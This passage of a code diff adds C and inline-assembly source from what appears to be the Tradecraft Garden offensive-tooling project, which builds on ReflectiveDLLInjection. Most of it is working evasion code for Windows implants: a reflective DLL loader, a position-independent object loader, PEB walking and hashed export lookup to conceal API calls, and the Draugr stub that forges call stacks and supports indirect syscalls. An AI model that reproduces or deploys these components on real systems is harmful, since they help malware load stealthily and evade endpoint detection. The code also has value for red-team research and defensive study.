data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
|
||||
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
|
||||
}
|
||||
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
|
||||
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
|
||||
}
|
||||
|
||||
DWORD SizeOfDLL(DLLDATA * data) {
|
||||
return data->OptionalHeader->SizeOfImage;
|
||||
}
|
||||
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
|
||||
/* copy our headers over to the destination address, if we wish */
|
||||
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
|
||||
|
||||
/* load our section data */
|
||||
LoadSections(dll, src, dst);
|
||||
|
||||
/* process our relocations */
|
||||
ProcessRelocations(dll, src, dst);
|
||||
}
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,154 @@
|
||||
/*
|
||||
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
* provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
@@ -0,0 +1,25 @@
|
||||
#include <windows.h>
|
||||
|
||||
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
|
||||
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
|
||||
void dprintf(char * format, ...)
|
||||
{
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
|
||||
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
|
||||
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (temp == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
MSVCRT$vsnprintf(temp, len + 1, format, args);
|
||||
KERNEL32$OutputDebugStringA(temp);
|
||||
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
@@ -0,0 +1,205 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
int codeLength;
|
||||
int dataLength;
|
||||
int rsrcOffset;
|
||||
int entryAddress;
|
||||
} PICO_HDR;
|
||||
|
||||
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
|
||||
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
|
||||
|
||||
#define PICO_INST_COMPLETE 0x0
|
||||
#define PICO_INST_PATCH 0x1
|
||||
#define PICO_INST_COPY 0x2
|
||||
#define PICO_INST_LL 0x3
|
||||
#define PICO_INST_GPA 0x4
|
||||
#define PICO_INST_PATCH_DIFF 0x5
|
||||
#define PICO_INST_PATCH_FUNC 0x6
|
||||
|
||||
#define PICO_PATCH_TEXT_TEXT 0x0
|
||||
#define PICO_PATCH_TEXT_BASE 0x1
|
||||
#define PICO_PATCH_BASE_TEXT 0x2
|
||||
#define PICO_PATCH_BASE_BASE 0x3
|
||||
|
||||
#define PICO_PATCHF_FUNC 0x0
|
||||
|
||||
#define PICO_CONTEXT_CODE 0x5
|
||||
#define PICO_CONTEXT_DATA 0x6
|
||||
|
||||
typedef struct {
|
||||
char type;
|
||||
char option;
|
||||
short length;
|
||||
} PICO_DIRECTIVE_HDR;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int offset;
|
||||
} PICO_DIRECTIVE_PATCH;
|
||||
|
||||
typedef struct {
|
||||
PICO_DIRECTIVE_HDR hdr;
|
||||
int src_offset;
|
||||
int dst_offset;
|
||||
int total;
|
||||
} PICO_DIRECTIVE_COPY;
|
||||
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
|
||||
}
|
||||
|
||||
int PicoCodeSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->codeLength;
|
||||
}
|
||||
|
||||
int PicoDataSize(char * src) {
|
||||
return ( (PICO_HDR *)src )->dataLength;
|
||||
}
|
||||
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
|
||||
PICO_DIRECTIVE_HDR * entry;
|
||||
PICO_DIRECTIVE_PATCH * patch;
|
||||
PICO_DIRECTIVE_COPY * copy;
|
||||
HANDLE module;
|
||||
char * address;
|
||||
PICO_HDR * hdr = (PICO_HDR *)src;
|
||||
|
||||
entry = FIRST_PICO_DIRECTIVE(hdr);
|
||||
while (TRUE) {
|
||||
/*
|
||||
* The heart and soul of PICO loading. Patching pointers into our destination blob
|
||||
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
|
||||
* so there's a lot more patches there. But x64 needs some pointer patching too.
|
||||
*/
|
||||
if (entry->type == PICO_INST_PATCH) {
|
||||
ULONG_PTR value;
|
||||
ULONG_PTR src;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCH_TEXT_TEXT) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_TEXT_BASE) {
|
||||
src = (ULONG_PTR)dstCode;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_TEXT) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstCode;
|
||||
}
|
||||
else if (entry->option == PICO_PATCH_BASE_BASE) {
|
||||
src = (ULONG_PTR)dstData;
|
||||
value = (ULONG_PTR)dstData;
|
||||
}
|
||||
|
||||
/* get the existing offset (from whatever base) within the .text section */
|
||||
value += *(ULONG_PTR *)(src + patch->offset);
|
||||
|
||||
/* set it back */
|
||||
*(ULONG_PTR *)(src + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This block is for updating our function table sitting in our data section. We're
|
||||
* either dumping the last resolved address at some specific slot OR we're pulling in
|
||||
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
|
||||
* structure... which we're treating as an array of function pointers basically)
|
||||
*/
|
||||
else if (entry->type == PICO_INST_PATCH_FUNC) {
|
||||
ULONG_PTR value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
if (entry->option == PICO_PATCHF_FUNC) {
|
||||
value = (ULONG_PTR)address;
|
||||
}
|
||||
else {
|
||||
ULONG_PTR * table = (ULONG_PTR *)funcs;
|
||||
value = table[entry->option - 1];
|
||||
}
|
||||
|
||||
*(ULONG_PTR *)(dstData + patch->offset) = value;
|
||||
}
|
||||
/*
|
||||
* This is here to support keeping code + data in separate regions in x64 builds.
|
||||
*/
|
||||
#ifdef WIN_X64
|
||||
else if (entry->type == PICO_INST_PATCH_DIFF) {
|
||||
DWORD value;
|
||||
patch = (PICO_DIRECTIVE_PATCH *)entry;
|
||||
|
||||
/* fetch the value currently at the patch address */
|
||||
value = *(DWORD *)(dstCode + patch->offset);
|
||||
|
||||
/* adjust the value */
|
||||
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
|
||||
|
||||
/* set it back */
|
||||
*(DWORD *)(dstCode + patch->offset) = value;
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* Directive copies from our packed src to our destination. We do it this way to allow
|
||||
* our .text section to pack down to its raw value and we expand it to its page-aligned
|
||||
* size after.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COPY) {
|
||||
copy = (PICO_DIRECTIVE_COPY *)entry;
|
||||
char * dst;
|
||||
|
||||
/* make sure we're copying to the right context */
|
||||
if (entry->option == PICO_CONTEXT_CODE)
|
||||
dst = dstCode;
|
||||
else
|
||||
dst = dstData;
|
||||
|
||||
/* do our copy */
|
||||
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
|
||||
}
|
||||
/*
|
||||
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
|
||||
* GetProcAddress lookups based on this later on.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_LL) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
module = funcs->LoadLibraryA(arg);
|
||||
}
|
||||
/*
|
||||
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
|
||||
* this pointer to the appropriate spot within our PICO blob.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_GPA) {
|
||||
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
|
||||
address = (char *)funcs->GetProcAddress(module, arg);
|
||||
}
|
||||
/*
|
||||
* An instruction to indicate the loading is complete and we should return.
|
||||
*/
|
||||
else if (entry->type == PICO_INST_COMPLETE) {
|
||||
return;
|
||||
}
|
||||
|
||||
entry = NEXT_PICO_DIRECTIVE(entry);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
|
||||
/*
|
||||
* This is just the Draugr assembly stub used to prep the stack
|
||||
* and make the API call. It does mean that anything calling this
|
||||
* has to do the work of prepping the structs with the fake
|
||||
* frame data and such...
|
||||
*/
|
||||
|
||||
void * __attribute__((naked)) SpoofStub()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"pop rax;" // Real return address in rax
|
||||
"mov r10, rdi;" // Store OG rdi in r10
|
||||
"mov r11, rsi;" // Store OG rsi in r11
|
||||
"mov rdi, [rsp + 32];" // Storing struct in rdi
|
||||
"mov rsi, [rsp + 40];" // Storing function to call
|
||||
|
||||
// Storing our original registers
|
||||
"mov [rdi + 24], r10;" // Storing OG rdi into param
|
||||
"mov [rdi + 88], r11;" // Storing OG rsi into param
|
||||
"mov [rdi + 96], r12;" // Storing OG r12 into param
|
||||
"mov [rdi + 104], r13;" // Storing OG r13 into param
|
||||
"mov [rdi + 112], r14;" // Storing OG r14 into param
|
||||
"mov [rdi + 120], r15;" // Storing OG r15 into param
|
||||
"mov r12, rax;" // OG code used r12 for ret addr
|
||||
|
||||
// Prepping to move stack args
|
||||
"xor r11, r11;" // r11 will hold the # of args that have been pushed
|
||||
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
|
||||
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
|
||||
"add r14, 8;"
|
||||
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
|
||||
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
|
||||
"add r14, [rdi + 32];" // stack size of our gadget frame
|
||||
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
|
||||
"mov r10, rsp;"
|
||||
"add r10, 0x30;" // offset of stack arg added to rsp
|
||||
"looping:;"
|
||||
"xor r15, r15;" // r15 will hold the offset + rsp base
|
||||
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
|
||||
"je finish;"
|
||||
|
||||
// Getting location to move the stack arg to
|
||||
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
"mov r15, rsp;" // get current stack base
|
||||
"sub r15, r14;" // subtract offset
|
||||
|
||||
// Procuring the stack arg
|
||||
"add r10, 8;"
|
||||
"push qword ptr [r10];"
|
||||
"pop qword ptr [r15];"
|
||||
|
||||
// Increment the counter and loop back in case we need more args
|
||||
"add r11, 1;"
|
||||
"jmp looping;"
|
||||
"finish:;"
|
||||
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
|
||||
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
|
||||
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
|
||||
"mov r11, [rdi + 64];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
|
||||
"mov r11, [rdi + 40];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 48];" // Gadget frame
|
||||
"mov r11, [rdi + 80];"
|
||||
"mov [rsp], r11;"
|
||||
// Adjusting the param struct for the fixup
|
||||
"mov r11, rsi;" // Copying function to call into r11
|
||||
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
|
||||
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
|
||||
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
|
||||
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
|
||||
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
|
||||
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// in param struct first.Otherwise, this is ignored by the callee.
|
||||
"mov r10, rcx;"
|
||||
"mov rax, [rdi + 72];"
|
||||
"jmp r11;"
|
||||
"fixup:;"
|
||||
"mov rcx, rbx;"
|
||||
"add rsp, 0x200;" // Remove our large frame
|
||||
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
|
||||
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
|
||||
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
|
||||
"mov rbx, [rcx + 16];" // Restoring OG RBX
|
||||
"mov rdi, [rcx + 24];" // Restoring OG rdi
|
||||
"mov rsi, [rcx + 88];" // Restoring OG rsi
|
||||
"mov r12, [rcx + 96];" // Restoring OG r12
|
||||
"mov r13, [rcx + 104];" // Restoring OG r13
|
||||
"mov r14, [rcx + 112];" // Restoring OG r14
|
||||
"mov r15, [rcx + 120];" // Restoring OG r15
|
||||
"push rax;"
|
||||
"xor rax, rax;"
|
||||
"pop rax;"
|
||||
"jmp qword ptr [rcx + 8];"
|
||||
|
||||
".att_syntax prefix"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _DRAUGR_PARAMETERS {
|
||||
PVOID Fixup; // 0
|
||||
PVOID OriginalReturnAddress; // 8
|
||||
PVOID Rbx; // 16
|
||||
PVOID Rdi; // 24
|
||||
PVOID BaseThreadInitThunkStackSize; // 32
|
||||
PVOID BaseThreadInitThunkReturnAddress; // 40
|
||||
PVOID TrampolineStackSize; // 48
|
||||
PVOID RtlUserThreadStartStackSize; // 56
|
||||
PVOID RtlUserThreadStartReturnAddress; // 64
|
||||
PVOID Ssn; // 72
|
||||
PVOID Trampoline; // 80
|
||||
PVOID Rsi; // 88
|
||||
PVOID R12; // 96
|
||||
PVOID R13; // 104
|
||||
PVOID R14; // 112
|
||||
PVOID R15; // 120
|
||||
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
|
||||
|
||||
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
@@ -0,0 +1,108 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Walk the Export Address Table to resolve functions by hash
|
||||
*/
|
||||
|
||||
char * findModuleByHash(DWORD moduleHash) {
|
||||
_PEB * pPEB;
|
||||
LDR_DATA_TABLE_ENTRY * pEntry;
|
||||
char * name;
|
||||
DWORD hashValue;
|
||||
USHORT counter;
|
||||
|
||||
/* get the Process Enviroment Block */
|
||||
#if defined WIN_X64
|
||||
pPEB = (_PEB *)__readgsqword( 0x60 );
|
||||
#elif defined WIN_X86
|
||||
pPEB = (_PEB *)__readfsdword( 0x30 );
|
||||
#else
|
||||
#error "Neither WIN_X64 or WIN_X86 is defined"
|
||||
#endif
|
||||
|
||||
/* walk the module list */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pPEB->pLdr->InMemoryOrderModuleList.Flink;
|
||||
|
||||
while (pEntry) {
|
||||
/* pEntry->BaseDllName is a UNICODE_STRING, pBuffer is wchar_t*, and Length is IN bytes.
|
||||
We are walking and hashing this string, one byte at a time */
|
||||
name = (char *)pEntry->BaseDllName.pBuffer;
|
||||
counter = pEntry->BaseDllName.Length;
|
||||
|
||||
/* calculate the hash of our DLL name */
|
||||
hashValue = 0;
|
||||
do {
|
||||
hashValue = ror(hashValue);
|
||||
if (*name >= 'a')
|
||||
hashValue += (BYTE)*name - 0x20;
|
||||
else
|
||||
hashValue += (BYTE)*name;
|
||||
|
||||
name++;
|
||||
} while (--counter);
|
||||
|
||||
/* if we have a match, return it */
|
||||
if (hashValue == moduleHash)
|
||||
return pEntry->DllBase;
|
||||
|
||||
/* next entry */
|
||||
pEntry = (LDR_DATA_TABLE_ENTRY *)pEntry->InMemoryOrderModuleList.Flink;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction) {
|
||||
DLLDATA data;
|
||||
IMAGE_DATA_DIRECTORY * exportTableHdr;
|
||||
IMAGE_EXPORT_DIRECTORY * exportDir;
|
||||
DWORD * exportName;
|
||||
WORD * exportOrdinal;
|
||||
DWORD * exportAddress;
|
||||
DWORD hashValue;
|
||||
|
||||
/* parse our DLL! */
|
||||
ParseDLL(src, &data);
|
||||
|
||||
/* grab our export directory */
|
||||
exportTableHdr = GetDataDirectory(&data, IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||||
exportDir = (IMAGE_EXPORT_DIRECTORY *)PTR_OFFSET(src, exportTableHdr->VirtualAddress);
|
||||
|
||||
/* walk the array of exported names/address ordinals */
|
||||
exportName = (DWORD *)PTR_OFFSET(src, exportDir->AddressOfNames);
|
||||
exportOrdinal = (WORD *) PTR_OFFSET(src, exportDir->AddressOfNameOrdinals);
|
||||
|
||||
while (TRUE) {
|
||||
hashValue = hash( (char *)PTR_OFFSET(src, *exportName) );
|
||||
if (hashValue == wantedFunction) {
|
||||
/* figure out the base of our AddressOfFunctions array */
|
||||
exportAddress = PTR_OFFSET(src, exportDir->AddressOfFunctions);
|
||||
|
||||
/* increment it by the current value of our exportOrdinal array */
|
||||
exportAddress += *exportOrdinal;
|
||||
|
||||
/* and... there-in is our virtual address to the actual ptr we want */
|
||||
return PTR_OFFSET(src, *exportAddress);
|
||||
}
|
||||
|
||||
exportName++;
|
||||
exportOrdinal++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
|
||||
int _strncmp(const char* s1, const char* s2, SIZE_T n)
|
||||
{
|
||||
while (n-- > 0)
|
||||
{
|
||||
unsigned char c1 = (unsigned char)*s1++;
|
||||
unsigned char c2 = (unsigned char)*s2++;
|
||||
|
||||
if (c1 != c2)
|
||||
return c1 - c2;
|
||||
|
||||
if (c1 == '\0')
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user